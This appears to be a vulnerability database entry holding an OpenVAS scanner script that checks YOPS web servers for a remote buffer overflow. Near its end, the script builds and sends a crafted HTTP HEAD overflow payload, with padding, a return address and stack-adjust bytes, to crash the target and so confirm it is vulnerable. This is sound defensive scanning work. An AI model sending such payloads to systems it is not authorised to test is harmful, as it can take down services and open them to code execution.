YOPS (Your Own Personal [WEB] Server) Remote Buffer Overflow Vulnerability

2010-11-26T00:00:00
ID OPENVAS:1361412562310100917
Type openvas
Reporter Copyright (C) 2010 Greenbone Networks GmbH
Modified 2020-05-08T00:00:00

Description

YOPS (Your Own Personal [WEB] Server) is prone to a remote buffer- overflow vulnerability because it fails to perform adequate checks on user-supplied input.

                                        
                                            ###############################################################################
# OpenVAS Vulnerability Test
#
# YOPS (Your Own Personal [WEB] Server) Remote Buffer Overflow Vulnerability
#
# Authors:
# Michael Meyer <michael.meyer@greenbone.net>
#
# Copyright:
# Copyright (C) 2010 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100917");
  script_version("2020-05-08T08:34:44+0000");
  script_tag(name:"last_modification", value:"2020-05-08 08:34:44 +0000 (Fri, 08 May 2020)");
  script_tag(name:"creation_date", value:"2010-11-26 13:31:06 +0100 (Fri, 26 Nov 2010)");
  script_bugtraq_id(43156);
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("YOPS (Your Own Personal [WEB] Server) Remote Buffer Overflow Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/43156");
  script_xref(name:"URL", value:"http://zed.karelia.ru/yops/index.html");
  script_xref(name:"URL", value:"http://sourceforge.net/projects/yops2009");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_DENIAL);
  script_family("Buffer overflow");
  script_copyright("Copyright (C) 2010 Greenbone Networks GmbH");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 8888);
  script_mandatory_keys("swebs/banner");

  script_tag(name:"summary", value:"YOPS (Your Own Personal [WEB] Server) is prone to a remote buffer-
  overflow vulnerability because it fails to perform adequate
  checks on user-supplied input.");

  script_tag(name:"impact", value:"Successfully exploiting this issue may allow remote attackers to
  execute arbitrary commands in the context of the application. Failed
  attacks will cause denial-of-service conditions.");

  script_tag(name:"affected", value:"YOPS (Your Own Personal [WEB] Server) 2009-11-30 is vulnerable. Other
  versions may also be affected.");

  script_tag(name:"solution", value:"The vendor released a patch. Please see the references for more
  information.");

  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");

port = http_get_port(default:8888);

banner = http_get_remote_headers(port: port);
if(!banner || "Server: swebs" >!< banner)exit(0);

soc = http_open_socket(port);
if(!soc)
  exit(0);

buffer = "HEAD ";
buffer += crap(data:"A", length:802);
buffer += crap(data:raw_string(0x47,0xce,0x04,0x08),length:4*4);
buffer += " HTTP/1.1";

stackadjust = raw_string(0xcb,0xbc,0x69,0x69,0x96,0xb0);

payload = buffer + stackadjust + string("\r\n\r\n");

send(socket:soc, data:payload);
close(soc);

if(http_is_dead(port:port)) {
  security_message(port:port);
  exit(0);
}

exit(99);